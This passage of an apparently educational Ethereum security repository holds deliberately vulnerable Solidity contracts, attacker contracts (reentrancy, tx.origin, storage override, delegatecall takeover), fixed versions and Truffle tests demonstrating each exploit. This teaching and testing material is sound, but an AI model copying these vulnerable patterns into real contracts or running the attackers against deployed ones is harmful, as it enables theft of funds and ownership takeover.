guaranteed to be zero // even if we perform revert in the fallback function // contract ForceEtherVictim { address owner; function ForceEtherVictim() public { owner = msg.sender; } function changeOwner() public { require(this.balance > 0); // this should never be reached, because we cannot (HEH) deposit any ether here // NEVER trust in the invariant this.balance == 0 owner = msg.sender; } // blocks any payment done to this contract (or tries it) function() public payable { revert(); } function getOwner() public view returns(address) { return owner; } } ================================================ FILE: contracts/overunderflow/OverUnderFlow.sol ================================================ pragma solidity ^0.4.23; contract OverUnderFlow { uint public zero = 0; uint public max = 2**256-1; function overflow() public { max += 1; } function underflow() public { zero -= 1; } function getZero() public view returns (uint) { return zero; } function getMax() public view returns (uint) { return max; } } ================================================ FILE: contracts/overunderflow/OverUnderFlowFixed.sol ================================================ pragma solidity ^0.4.23; import "./SafeMath.sol"; contract OverUnderFlowFixed { using SafeMath for uint; uint public zero = 0; uint public max = 2**256-1; function overflow() public { max = max.add(1); } function underflow() public { zero = zero.sub(1); } function getZero() public view returns (uint) { return zero; } function getMax() public view returns (uint) { return max; } } ================================================ FILE: contracts/overunderflow/SafeMath.sol ================================================ pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } ================================================ FILE: contracts/reentrancy/Reentrancy.sol ================================================ pragma solidity ^0.4.23; interface Reentrancy { function deposit() public payable; function withdrawAll() public; } ================================================ FILE: contracts/reentrancy/ReentrancyAttacker.sol ================================================ pragma solidity ^0.4.23; import "./Reentrancy.sol"; import "./ReentrancyVulnerable.sol"; contract ReentrancyAttacker { Reentrancy victim; function ReentrancyAttacker(address _victimContractAddress) public { victim = ReentrancyVulnerable(_victimContractAddress); } function depositInContract() public payable { require(msg.value > 0); victim.deposit.value(msg.value)(); } function withdraw() public { victim.withdrawAll(); } function getContractBalance() public view returns (uint) { return this.balance; } function() payable public { victim.withdrawAll(); } } ================================================ FILE: contracts/reentrancy/ReentrancyVulnerable.sol ================================================ pragma solidity ^0.4.23; import "./Reentrancy.sol"; contract ReentrancyVulnerable is Reentrancy { mapping(address => uint) balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdrawAll() public { uint amount = balances[msg.sender]; require(amount > 0); msg.sender.call.value(balances[msg.sender])(); balances[msg.sender] = 0; } function checkBalance() public view returns (uint) { return balances[msg.sender]; } function getContractBalance() public view returns (uint) { return this.balance; } } ================================================ FILE: contracts/reentrancy/ReentrancyVulnerableFixed.sol ================================================ pragma solidity ^0.4.23; import "./Reentrancy.sol"; contract ReentrancyVulnerableFixed is Reentrancy { mapping(address => uint) balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdrawAll() public { uint amount = balances[msg.sender]; require(amount > 0); // This is the only change compared to ReentrancyVulnerable.sol balances[msg.sender] = 0; msg.sender.call.value(amount)(); } function checkBalance() public view returns (uint) { return balances[msg.sender]; } function getContractBalance() public view returns (uint) { return this.balance; } } ================================================ FILE: contracts/send/WalletSendAttacker.sol ================================================ pragma solidity ^0.4.23; import "./WalletSendBug.sol"; contract WalletSendAttacker { WalletSendBug wallet; function WalletSendAttacker(address _wallet) public { wallet = WalletSendBug(_wallet); } function deposit() public payable { wallet.deposit.value(msg.value)(); } function withdraw(uint _amount) public { wallet.withdraw(_amount); } function() public payable { // we do not accept payments in this contract, so send() fails revert(); } } ================================================ FILE: contracts/send/WalletSendBug.sol ================================================ pragma solidity ^0.4.23; // Hypothetical situation where not checking the output of send() function // makes this contract to be broken forever. // The contract is supposed to be a very simple (and bad designed) wallet // holding ether and keeping track of the balance of the users. contract WalletSendBug { address owner; mapping(address=> uint) balances; uint totalSupply; function WalletSendBug() public { owner = msg.sender; totalSupply = 0; } function deposit() public payable { require(msg.value > 0); // we ignore overflows/underflows for this example balances[msg.sender] += msg.value; totalSupply += msg.value; assert(this.balance == totalSupply); } function withdraw(uint _amount) public { assert(this.balance == totalSupply); require(balances[msg.sender] >= _amount); // we ignore overflows/underflows for this example balances[msg.sender] -= _amount; totalSupply -= _amount; msg.sender.send(_amount); } function balanceOf(address _address) public view returns(uint) { return balances[_address]; } function getTotalSupply() public view returns(uint) { return totalSupply; } } ================================================ FILE: contracts/send/WalletSendBugFixed.sol ================================================ pragma solidity ^0.4.23; contract WalletSendBugFixed { address owner; mapping(address=> uint) balances; uint totalSupply; function WalletSendBug() public { owner = msg.sender; totalSupply = 0; } function deposit() public payable { require(msg.value > 0); // we ignore overflows/underflows for this example balances[msg.sender] += msg.value; totalSupply += msg.value; assert(this.balance == totalSupply); } function withdraw(uint _amount) public { assert(this.balance == totalSupply); require(balances[msg.sender] >= _amount); // we ignore overflows/underflows for this example balances[msg.sender] -= _amount; totalSupply -= _amount; msg.sender.transfer(_amount); } function balanceOf(address _address) public view returns(uint) { return balances[_address]; } function getTotalSupply() public view returns(uint) { return totalSupply; } } ================================================ FILE: contracts/storageoverride/StorageVictim.sol ================================================ pragma solidity ^0.4.23; // Useless contract with not much sense, just to demonstrate the override contract StorageVictim { address owner; struct Storage { address user; uint amount; } mapping(address => Storage) storages; function StorageVictim() public { owner = msg.sender; } function store(uint _amount) public { // uninitialised pointer. str.user points to the storage address 0 which is "owner" Storage str; str.user = msg.sender; str.amount = _amount; storages[msg.sender] = str; } function getStore() public view returns (address, uint) { Storage str = storages[msg.sender]; return (str.user, str.amount); } function getOwner() public view returns (address) { return owner; } } ================================================ FILE: contracts/storageoverride/StorageVictimFixed.sol ================================================ pragma solidity ^0.4.23; contract StorageVictimFixed { address owner; struct Storage { address user; uint amount; } mapping(address => Storage) storages; function StorageVictimFixed() public { owner = msg.sender; } function store(uint _amount) public { // FIXED Storage memory str; str.user = msg.sender; str.amount = _amount; storages[msg.sender] = str; } function getStore() public view returns (address, uint) { Storage str = storages[msg.sender]; return (str.user, str.amount); } function getOwner() public view returns (address) { return owner; } } ================================================ FILE: contracts/txorigin/TxOriginAttacker.sol ================================================ pragma solidity ^0.4.23; import "./TxOriginVictim.sol"; contract TxOriginAttacker { address owner; TxOriginVictim victim; function TxOriginAttacker(address _victim, address _owner) public { owner = _owner; victim = TxOriginVictim(_victim); } function() public payable { victim.transferTo(owner, address(victim).balance); } function getOwner() public view returns (address) { return owner; } } ================================================ FILE: contracts/txorigin/TxOriginVictim.sol ================================================ pragma solidity ^0.4.23; contract TxOriginVictim { address owner; function TxOriginVictim() public { owner = msg.sender; } function transferTo(address _to, uint amount) public { // only owner can transfer (hehe) require(tx.origin == owner); _to.transfer(amount); } function getOwner() public view returns (address) { return owner; } function() public payable { // just to allow deposits } } ================================================ FILE: contracts/txorigin/TxOriginVictimFixed.sol ================================================ pragma solidity ^0.4.23; contract TxOriginVictimFixed { address owner; function TxOriginVictimFixed() public { owner = msg.sender; } function transferTo(address _to, uint amount) public { // only owner can transfer (hehe) require(msg.sender == owner); _to.transfer(amount); } function getOwner() public view returns (address) { return owner; } function() public payable { // just to allow deposits } } ================================================ FILE: migrations/1_initial_migration.js ================================================ var Migrations = artifacts.require("./Migrations.sol"); module.exports = function(deployer) { deployer.deploy(Migrations); }; ================================================ FILE: migrations/2_migration.js ================================================ var OverUnderFlow = artifacts.require("./OverUnderFlow.sol"); var OverUnderFlowFixed = artifacts.require("./OverUnderFlowFixed.sol"); var ReentrancyVulnerable = artifacts.require("./ReentrancyVulnerable.sol"); var ReentrancyVulnerableFixed = artifacts.require("./ReentrancyVulnerableFixed.sol"); var WalletLibrary = artifacts.require("./WalletLibrary.sol"); var WalletLibraryFixed = artifacts.require("./WalletLibraryFixed.sol"); var Auction = artifacts.require("./Auction.sol"); var AuctionFixed = artifacts.require("./AuctionFixed.sol"); var ForceEtherVictim = artifacts.require("./ForceEtherVictim.sol"); var TxOriginVictim = artifacts.require("./TxOriginVictim.sol"); var TxOriginVictimFixed = artifacts.require("./TxOriginVictimFixed.sol"); var UnboundArray = artifacts.require("./UnboundArray.sol"); var UnboundArrayFixed = artifacts.require("./UnboundArrayFixed.sol"); var WalletSendBug = artifacts.require("./WalletSendBug.sol"); var WalletSendBugFixed = artifacts.require("./WalletSendBugFixed.sol"); var StorageVictim = artifacts.require("./StorageVictim.sol"); var StorageVictimFixed = artifacts.require("./StorageVictimFixed.sol"); module.exports = function(deployer) { deployer.deploy(OverUnderFlow); deployer.deploy(OverUnderFlowFixed); deployer.deploy(ReentrancyVulnerable); deployer.deploy(ReentrancyVulnerableFixed); deployer.deploy(WalletLibrary); deployer.deploy(WalletLibraryFixed); deployer.deploy(Auction); deployer.deploy(AuctionFixed); deployer.deploy(ForceEtherVictim); deployer.deploy(TxOriginVictim); deployer.deploy(TxOriginVictimFixed); deployer.deploy(UnboundArray); deployer.deploy(UnboundArrayFixed); deployer.deploy(WalletSendBug); deployer.deploy(WalletSendBugFixed); deployer.deploy(StorageVictim); deployer.deploy(StorageVictimFixed); }; ================================================ FILE: package.json ================================================ { "name": "ethereum-security", "version": "1.0.0", "description": "## :exclamation: :warning: DO NOT USE THE CONTRACTS IN THIS REPOSITORY. THEY ARE VULNERABLE TO SECURITY BUGS. :warning: :exclamation:", "main": "truffle-config.js", "directories": { "test": "test" }, "dependencies": { "bignumber.js": "^6.0.0", "truffle": "^5.0.44" }, "devDependencies": {}, "scripts": { "test": "./node_modules/truffle/build/cli.bundled.js test" }, "repository": { "type": "git", "url": "git+https://github.com/fergarrui/ethereum-security.git" }, "author": "", "license": "ISC", "bugs": { "url": "https://github.com/fergarrui/ethereum-security/issues" }, "homepage": "https://github.com/fergarrui/ethereum-security#readme" } ================================================ FILE: test/arraystorageoverride/arrayStorageOverride.js ================================================ var BigNumber = require('bignumber.js'); var ArrayStorageOverride = artifacts.require("./ArrayStorageOverride.sol"); contract("Array storage override test", (accounts) => { it("Test override", async () => { var victim = await ArrayStorageOverride.new(); var isHacked = await victim.isHacked.call(); assert.isFalse(isHacked); var size = await victim.size.call(); assert.equal(0, size); var maxNumber = new BigNumber(2).pow(256).minus(1); // in a dynamic array, the data pointer is at the keccak256(p) where p is the storage position where it should // be if it was a normal type, in this case: 1 var arrayDataPointer = web3.sha3("0x0000000000000000000000000000000000000000000000000000000000000001", {encoding: 'hex'}); var arrayDataPointerNumber = new BigNumber(arrayDataPointer) // when something is inserted into the array, we want to use this offset, to make the index // to overflow and go back to the position 0, so we can point at the storage at 0 and modify it var offset = maxNumber.minus(arrayDataPointerNumber).plus(1); // we pop an element in the array, the length is 0, to it will decrement and underflow await victim.pop(); var size = await victim.size.call(); // checking that now the size of the array is 2^256-1 because of the underflow, so we control the whole thing assert.isTrue(size.equals(maxNumber)); // just double checking that the isHacked bool is still not modified var isHacked = await victim.isHacked.call(); assert.isFalse(isHacked); // here, since the length of the array is the max number possible with 32 bytes, we can insert at any index. // if we insert at index 0, then, the value would be inserted at the storage position keccak256(0x1). So, since // we want to modify the position 0, we need to overflow it. Whatever index we enter will be added to the result // of keccak256(1), so if we use: ((2^256-1) - keccak256(1)) + 1, we have an overflow and it will put the value // at the position 0 of the storage, which is the variable isHacked in the contract. await victim.insert("0x" + offset.toString(16), 0x1); var isHacked = await victim.isHacked.call(); // Pwned assert.isTrue(isHacked); }); }); ================================================ FILE: test/arraystorageoverride/arrayStorageOverrideFixed.js ================================================ var BigNumber = require('bignumber.js'); var ArrayStorageOverride = artifacts.require("./ArrayStorageOverrideFixed.sol"); contract("Array storage override test", (accounts) => { it("Test override", async () => { var victim = await ArrayStorageOverride.new(); var isHacked = await victim.isHacked.call(); assert.isFalse(isHacked); var size = await victim.size.call(); assert.equal(0, size); var maxNumber = new BigNumber(2).pow(256).minus(1); var arrayDataPointer = web3.sha3("0x0000000000000000000000000000000000000000000000000000000000000001", {encoding: 'hex'}); var arrayDataPointerNumber = new BigNumber(arrayDataPointer) var offset = maxNumber.minus(arrayDataPointerNumber).plus(1); try { // we cannot pop if the size is not 0 await victim.pop(); assert(false); } catch (error) { assert.include(error.message, "revert"); } var size = await victim.size.call(); assert.equal(0, size); var isHacked = await victim.isHacked.call(); assert.isFalse(isHacked); try { // now, since the size is 0, we cannot insert at an arbitrary index, so this will also fail await victim.insert("0x" + offset.toString(16), 0x1); assert(false); } catch (error) { assert.include(error.message, "revert"); } var isHacked = await victim.isHacked.call(); // No luck this time assert.isFalse(isHacked); }); }); ================================================ FILE: test/delegatecall/delegateCallTest.js ================================================ var WalletLibrary = artifacts.require("./WalletLibrary.sol"); var Wallet = artifacts.require("./Wallet.sol"); contract("Wallet delegate", (accounts) => { var library; var wallet; it("Test Delegate bug", () => { return WalletLibrary.deployed().then(instanceLibrary => { library = instanceLibrary; return library.address; }).then(address => { return Wallet.new(address); }).then(instanceWallet => { wallet = instanceWallet; }).then(() => { return wallet.getOwner.call(); }).then(walletOwner => { // check that the wallet was properly initialized having owner == accounts[0] assert.equal(walletOwner, accounts[0]); return library.getOwner.call(); }).then(libraryOwner => { // the library owner was not set, because delegatecall modifies the storage of the caller assert.equal(libraryOwner, 0x0); // calculating the function id of initWallet var functionHash = web3.sha3("initWallet(address)").slice(0, 10); // passing accounts[2] as argument. Adding 0s to make it 32 bytes long var functionArgument = "000000000000000000000000" + accounts[2].slice(2, accounts[2].length); var _data = functionHash + functionArgument; // calling the fallback function of Wallet.sol passing as msg.data the necessary // input to call initWallet from there return web3.eth.sendTransaction({ from: accounts[1], to: wallet.address, data: _data, value: 0, gas: 200000 }); }).then((result) => { return wallet.getOwner.call(); }).then(walletOwner => { // checking that the new owner of Wallet.sol is accounts[2] assert.equal(walletOwner, accounts[2]); }); }); }); ================================================ FILE: test/delegatecall/delegateCallTestFixed.js ================================================ var WalletLibraryFixed = artifacts.require("./WalletLibraryFixed.sol"); var Wallet = artifacts.require("./Wallet.sol"); contract("Wallet delegate fixed", (accounts) => { var library; var wallet; it("Test Delegate bug fixed", () => { return WalletLibraryFixed.deployed().then(instanceLibrary => { library = instanceLibrary; return library.address; }).then(address => { return Wallet.new(address); }).then(instanceWallet => { wallet = instanceWallet; }).then(() => { return wallet.getOwner.call(); }).then(walletOwner => { // check that the wallet was properly initialized having owner == accounts[0] assert.equal(walletOwner, accounts[0]); return library.getOwner.call(); }).then(libraryOwner => { // the library owner was not set, because delegatecall modifies the storage of the caller assert.equal(libraryOwner, 0x0); // calculating the function id of initWallet2 var functionHash = web3.sha3("initWallet(address)").slice(0, 10); // passing accounts[2] as argument. Adding 0s to make it 32 bytes long var functionArgument = "000000000000000000000000" + accounts[2].slice(2, accounts[2].length); var _data = functionHash + functionArgument; // calling the fallback function of Wallet.sol passing as msg.data the necessary // input to call initWallet from there return web3.eth.sendTransaction({ from: accounts[1], to: wallet.address, data: _data, value: 0, gas: 200000 }); }).then((result) => { return wallet.getOwner.call(); }).then(walletOwner => { // checking that the new owner of Wallet.sol is accounts[0] (the hack didn't succeed) assert.equal(walletOwner, accounts[0]); }); }); }); ================================================ FILE: test/dos/dosTest.js ================================================ var Auction = artifacts.require("./Auction.sol"); var AuctionAttacker = artifacts.require("./AuctionAttacker.sol"); contract("Auction DOS", (accounts) => { var auction; var attacker; it("Test Auction DOS", () => { return Auction.deployed().then(instance => { auction = instance; return auction.address; }).then(address => { return AuctionAttacker.new(address); }).then((instanceAttacker => { attacker = instanceAttacker; // acounts[0] bids 1 return auction.bid({value:1, from: accounts[0]}); })).then(() => { return auction.getCurrentLeader.call(); }).then(currentLeader => { assert.equal(accounts[0], currentLeader); return auction.getHighestBid.call(); }).then(highestBid => { assert.equal(1, highestBid); // acounts[1] bids 2 return auction.bid({value:2, from: accounts[1]}); }).then(() => { return auction.getCurrentLeader.call(); }).then(currentLeader => { assert.equal(accounts[1], currentLeader); return auction.getHighestBid.call(); }).then(highestBid => { assert.equal(2, highestBid); // attacker contract bids 3 attacker.bidAuction({value : 3}); }).then(() => { return auction.getCurrentLeader.call(); }).then(currentLeader => { assert(attacker.address, currentLeader) return auction.getHighestBid.call(); }).then((highestBid) => { assert(3, highestBid); // acounts[2] bids 4 return auction.bid({value:4, from: accounts[2]}); }).then(() => { assert(false, "Should not reach this block"); }).catch((error) => { assert(true, "Operation reverted"); return auction.getCurrentLeader.call(); }).then((currentLeader) => { assert.equal(attacker.address, currentLeader); }); }); }); ================================================ FILE: test/dos/dosTestFixed.js ================================================ var AuctionFixed = artifacts.require("./AuctionFixed.sol"); var AuctionAttacker = artifacts.require("./AuctionAttacker.sol"); contract("Auction DOS Fixed", (accounts) => { var auction; var attacker; it("Test Auction DOS Fixed", () => { return AuctionFixed.deployed().then(instance => { auction = instance; return auction.address; }).then(address => { return AuctionAttacker.new(address); }).then((instanceAttacker => { attacker = instanceAttacker; // acounts[0] bids 1 return auction.bid({value:1, from: accounts[0]}); })).then(() => { return auction.getCurrentLeader.call(); }).then(currentLeader => { assert.equal(accounts[0], currentLeader); return auction.getHighestBid.call(); }).then(highestBid => { assert.equal(1, highestBid); // acounts[1] bids 2 return auction.bid({value:2, from: accounts[1]}); }).then(() => { return auction.getCurrentLeader.call(); }).then(currentLeader => { assert.equal(accounts[1], currentLeader); return auction.getHighestBid.call(); }).then(highestBid => { assert.equal(2, highestBid); return auction.getRefund(accounts[0]); }).then(refunds => { assert.equal(1, refunds) return auction.getRefund(accounts[1]); }).then(refunds => { assert.equal(0, refunds) // attacker contract bids 3 attacker.bidAuction({value : 3}); }).then(() => { return auction.getCurrentLeader.call(); }).then(currentLeader => { assert(attacker.address, currentLeader) return auction.getHighestBid.call(); }).then((highestBid) => { assert(3, highestBid); return auction.getRefund(accounts[1]); }).then(refunds => { assert(2, refunds); // acounts[2] bids 4 return auction.bid({value:4, from: accounts[2]}); }).then(() => { return auction.getCurrentLeader.call(); }).then((currentLeader) => { // now accounts[2] is the leader, so the attacker contract // is not stuck forever assert.equal(accounts[2], currentLeader); return auction.getRefund(attacker.address); }).then((refunds => { assert.equal(3, refunds); })); }); }); ================================================ FILE: test/dos_unbound_array/dosUnboundArrayTest.js ================================================ var UnboundArray = artifacts.require("./UnboundArray.sol"); contract("Unbound array test", (accounts) => { var victim; it("Test unbound array", () => { return UnboundArray.deployed().then(instance => { victim = instance; }).then(() => { return victim.push(100); }).then(() => { // Empirically I saw that to run sum() with 100 elements in the array, // it uses 98427 gas. So from now on, let's simulate the max gas per block is 98427 // when running sum() to make things simpler return victim.sum({gas: 98427}); }).then(sum => { // the sum from 1 to 99 is 4950 assert.equal(4950, sum); // we push one more item into the array return victim.push(1); }).then(() => { return victim.sum({gas: 98427}); }).then(() => { assert(false, "It should not reach this block because of out of gas"); }).catch(error => { // sum() needs to do an additional iteration, so we reach the gas limit and fail assert(true, "Error thrown, we were expecting an out of gas error"); }); }); }); ================================================ FILE: test/dos_unbound_array/dosUnboundArrayTestFixed.js ================================================ var UnboundArrayFixed = artifacts.require("./UnboundArrayFixed.sol"); contract("Unbound array test Fixed", (accounts) => { var victim; it("Test unbound array Fixed", () => { return UnboundArrayFixed.deployed().then(instance => { victim = instance; }).then(() => { return victim.push(100); }).then(() => { // the gas cost is a bit higher since we added an additional check in the for loop // but that's not the important point here // We calculate the sum in bulks instead of doing it for the whole // unbounded array, that would lead us to an out of gas error at some point return victim.sum(0, 100, {gas: 102352}); }).then(sum => { // the sum from 1 to 99 is 4950 assert.equal(4950, sum); // we push two more items more into the array [0, 1] return victim.push(2); }).then(() => { // Checking that obviously we don't run out of gas // (redundant assertion but just double checking for better understanding) return victim.sum(0, 100, {gas: 102352}); }).then((sum) => { assert.equal(4950, sum); // starting now in index 100 instead of 0, so the frontend would take care // of doing the calls in a paginated way and compute the partial results return victim.sum(100, 100, {gas: 102352}); }).then(sum => { // we pushed [0,1] at the end of the array, so the sum of those is 1 assert.equal(1, sum); }); }); }); ================================================ FILE: test/extcodesize/extCodeSizeTest.js ================================================ var ExtCodeSize = artifacts.require("./ExtCodeSize.sol"); var ExtCodeSizeAttacker = artifacts.require("./ExtCodeSizeAttacker.sol"); contract("Extcodesize test", (accounts) => { it("Test extcodesize", async () => { var victim = await ExtCodeSize.new(); // We check that the initial address is 0 var addr = await victim.thisIsNotAContract(); assert.equal(0x0, addr); // just creating an instance of the attacker passing the victim address as an argument will call the method // aContractCannotCallThis from the constructor. Because we call it from the constructor, extcodesize // will return 0. If we call that method from a normal function it wouldn't var attacker = await ExtCodeSizeAttacker.new(victim.address); var addr = await victim.thisIsNotAContract(); assert.equal(attacker.address, addr); // just double checking what we already know, obviously, the attacker is a contract and it has code // PWND! var attackerCode = await web3.eth.getCode(attacker.address); assert.isFalse(attackerCode.length == 0); }); }); ================================================ FILE: test/extcodesize/extCodeSizeTestFixed.js ================================================ var ExtCodeSizeFixed = artifacts.require("./ExtCodeSizeFixed.sol"); var ExtCodeSizeAttacker = artifacts.require("./ExtCodeSizeAttacker.sol"); contract("Extcodesize test", (accounts) => { it("Test extcodesize", async () => { var victim = await ExtCodeSizeFixed.new(); // We check that the initial address is 0 var addr = await victim.thisIsNotAContract(); assert.equal(0x0, addr); // now this call should fail because we are checking the condition in a different way (using tx.origin == msg.sender) try { var attacker = await ExtCodeSizeAttacker.new(victim.address); assert(false, "This contract creation should revert"); } catch (error) { assert.include(error.message, "revert"); } var addr = await victim.thisIsNotAContract(); // checking that the address was not modified assert.equal(0x0, addr); await victim.aContractCannotCallThis(); var addr = await victim.thisIsNotAContract(); // checking that the address now is modified when calling the method from a non-contract address assert.equal(accounts[0], addr); }); }); ================================================ FILE: test/forcether/forceEtherTest.js ================================================ var ForceEtherVictim = artifacts.require("./ForceEtherVictim.sol"); var ForceEtherAttacker = artifacts.require("./ForceEtherAttacker.sol"); contract("ForceEther", (accounts) => { var victim; var attacker; it("ForceEther", () => { return ForceEtherVictim.deployed().then(instanceVictim => { victim = instanceVictim; return victim.address; }).then((address) => { return ForceEtherAttacker.new(address); }).then((instanceAttacker) => { attacker = instanceAttacker; }).then(() => { return victim.getOwner.call(); }).then((owner) => { assert.equal(accounts[0], owner); return victim.changeOwner({from:accounts[1]}); }).then(() => { return victim.getOwner.call(); }).then((owner) => { // checking that we cannot change the owner assert.equal(accounts[0], owner); victim.transfer({value: 1, from: accounts[1]}); }).then(() => { assert(false, "VM Exception revert"); }).catch((error) => { return victim.getOwner.call(); }).then((owner) => { // checking that the owner remains the same assert.equal(accounts[0], owner); // we run the fallback function of the attacker contract // if performs selfdestruct and *forces* a transaction to the victim contract // and the fallback of the victim contract is not executed (so, revert() is not called) // making its balance to be higher than 0 return web3.eth.sendTransaction({ from: accounts[0], to: attacker.address, value: 1 }); }).then(() => { // now, we can change the owner return victim.changeOwner({from: accounts[1]}); }).then(() => { return victim.getOwner.call(); }).then((owner) => { // checking that the owner actually changed assert.equal(accounts[1], owner); }); }); }); ================================================ FILE: test/overunderflow/overUnderFlowFixedTest.js ================================================ var BigNumber = require('bignumber.js'); var OverUnderFlowFixed = artifacts.require("./OverUnderFlowFixed.sol"); contract("OverUnderFlowFixed", (accounts) => { var maxNumber = new BigNumber(2).pow(256).minus(1); var zeroNumber = new BigNumber(0); var inst; it("Test overflow", () => { return OverUnderFlowFixed.deployed().then(instance => { inst = instance; return instance.getMax.call(); }).then((max) => { // checking that 'max' variable in the contract is actually 2^256-1 assert.isTrue(max.equals(maxNumber)); }).then(() => { // we call overflow, which increments 'max' and should causes an overflow but throws a VM exception return inst.overflow({gasPrice:0}); }).then(() => { // will not run this assert(false, "Should throw an exception"); }).catch(error => { assert(true, "Exception thrown"); return inst.getMax.call(); }).then((max) => { // we check that overflow didn't happen assert.isTrue(max.equals(maxNumber)); }); }); it("Test underflow", function() { return OverUnderFlowFixed.deployed().then(instance => { inst = instance; return instance.getZero.call(); }).then((zero) => { // checking that 'zero' variable in the contract is actually 0 assert.isTrue(zero.equals(zeroNumber)); }).then(() => { // we call underflow, which increments 'zero' and should causes an underflow but throws a VM exception return inst.underflow({gasPrice:0}); }).then(() => { // will not run this assert(false, "Should throw an exception"); }).catch(error => { assert(true, "Exception thrown"); return inst.getZero.call(); }).then((zero) => { // we check that underflow didn't happen assert.isTrue(zero.equals(zeroNumber)); }); }); }); ================================================ FILE: test/overunderflow/overUnderFlowTest.js ================================================ var BigNumber = require('bignumber.js'); var OverUnderFlow = artifacts.require("./OverUnderFlow.sol"); contract("OverUnderFlow", (accounts) => { var maxNumber = new BigNumber(2).pow(256).minus(1); var zeroNumber = new BigNumber(0); var inst; it("Test overflow", () => { return OverUnderFlow.deployed().then(instance => { inst = instance; return instance.getMax.call(); }).then((max) => { // checking that 'max' variable in the contract is actually 2^256-1 assert.isTrue(max.equals(maxNumber)); }).then(() => { // we call overflow, which increments 'max' and causes an overflow inst.overflow({gasPrice:0}); return inst.getMax.call(); }).then((max) => { // checking that the overflow happened, and now the value of 'max' is 0 assert.isTrue(max.equals(zeroNumber)); }); }); it("Test underflow", function() { return OverUnderFlow.deployed().then(instance => { inst = instance; return instance.getZero.call(); }).then((zero) => { // checking that 'zero' variable in the contract is actually 0 assert.isTrue(zero.equals(zeroNumber)); }).then(() => { // we call underflow, which decrements 'zero' and causes an underflow inst.underflow({gasPrice:0}); return inst.getZero.call(); }).then((zero) => { // checking that the underflow happened, and now the value of 'zero' is 2^256-1 assert.isTrue(zero.equals(maxNumber)); }); }); }); ================================================ FILE: test/reentrancy/reentrancyTest.js ================================================ var ReentrancyVulnerable = artifacts.require("./ReentrancyVulnerable.sol"); var ReentrancyAttacker = artifacts.require("./ReentrancyAttacker.sol"); contract("ReentrancyVulnerable", (accounts) => { var victim; var attacker; it("Test reentrancy", () => { // deploying the victim contract return ReentrancyVulnerable.new().then(instanceVictim => { victim = instanceVictim; return victim.address; }).then(address => { // deploying the attacker instance, passing the address of the victim return ReentrancyAttacker.new(address); }).then (instanceAttacker => { attacker = instanceAttacker; return attacker.getContractBalance.call(); }).then((attackerBalance => { // checking that the starting balance is 0 assert.equal(0, attackerBalance); return victim.getContractBalance.call(); })).then((victimBalance => { // checking that the starting balance is 0 assert.equal(0, victimBalance); // deposit 410 from the account[0] return victim.deposit({gasPrice:0, value:410}); })).then(() => { return victim.getContractBalance.call(); }).then((victimBalance => { // checking that the contract balance no is 410 assert.equal(410, victimBalance); })).then(() => { return attacker.depositInContract({gasPrice:0, value: 100}); }).then(() => { return victim.getContractBalance.call(); }).then(victimContractBalance => { // checking that the contract balance is 510 assert.equal(510, victimContractBalance); return victim.checkBalance({from :accounts[0]}); }).then(balanceAccount0 => { // checking account[0] balance is 410 assert.equal(410, balanceAccount0); return victim.checkBalance({from : attacker.address}); }).then(attackerBalance => { // checking that the attacker contract's balance is 100 assert.equal(100, attackerBalance); }).then(() => { return attacker.withdraw({gasPrice:0, gasLimit:9999999999}); }).then(() => { return victim.getContractBalance.call(); }).then((victimBalance) => { // the remaining contract balance must be 10. The balance of // the attacker contract was 100, the total victim balance is 510, // and the attacker can only withdraw ether in bulks of 100, // 510 % 100 = 10 assert.equal(10, victimBalance); }); }); }); ================================================ FILE: test/reentrancy/reentrancyTestFixed.js ================================================ var ReentrancyVulnerableFixed = artifacts.require("./ReentrancyVulnerableFixed.sol"); var ReentrancyAttacker = artifacts.require("./ReentrancyAttacker.sol"); contract("ReentrancyVulnerableFixed", (accounts) => { var victim; var attacker; it("Test reentrancy Fixed", () => { // deploying the victim contract return ReentrancyVulnerableFixed.new().then(instanceVictim => { victim = instanceVictim; return victim.address; }).then(address => { // deploying the attacker instance, passing the address of the victim return ReentrancyAttacker.new(address); }).then (instanceAttacker => { attacker = instanceAttacker; }).then(() => { return attacker.getContractBalance.call(); }).then((attackerBalance => { // checking that the starting balance is 0 assert.equal(0, attackerBalance); return victim.getContractBalance.call(); })).then((victimBalance => { // checking that the starting balance is 0 assert.equal(0, victimBalance); // deposit 410 from the account[0] return victim.deposit({gasPrice:0, value:410}); })).then(() => { return victim.getContractBalance.call(); }).then((victimBalance => { // checking that the contract balance no is 410 assert.equal(410, victimBalance); })).then(() => { return attacker.depositInContract({gasPrice:0, value: 100}); }).then(() => { return victim.getContractBalance.call(); }).then(victimContractBalance => { // checking that the contract balance is 510 assert.equal(510, victimContractBalance); return victim.checkBalance({from :accounts[0]}); }).then(balanceAccount0 => { // checking account[0] balance is 410 assert.equal(410, balanceAccount0); return victim.checkBalance({from : attacker.address}); }).then(attackerBalance => { // checking that the attacker contract's balance is 100 assert.equal(100, attackerBalance); }).then(() => { return attacker.withdraw({gasPrice:0, gasLimit:9999999999}); }).then(() => { return victim.getContractBalance.call(); }).then((victimBalance) => { assert.equal(510, victimBalance); }); }); }); ================================================ FILE: test/send/sendTest.js ================================================ var WalletSendBug = artifacts.require("./WalletSendBug.sol"); var WalletSendAttacker = artifacts.require("./WalletSendAttacker.sol"); contract("WalletSendBug", (accounts) => { var wallet; var attacker; it("Unchecked send()", () => { return WalletSendBug.deployed().then(instance => { wallet = instance; return instance.address; }).then((address) => { return WalletSendAttacker.new(address); }).then(attackerInstance => { attacker = attackerInstance; return wallet.deposit({value: 50}); }).then(() => { return wallet.balanceOf(accounts[0]); }).then(balance0 => { assert.equal(50, balance0); return wallet.withdraw(25); }).then(() => { return wallet.balanceOf(accounts[0]); }).then(balance0 => { // checking than deposit & withdraw work as expected assert.equal(25, balance0); return 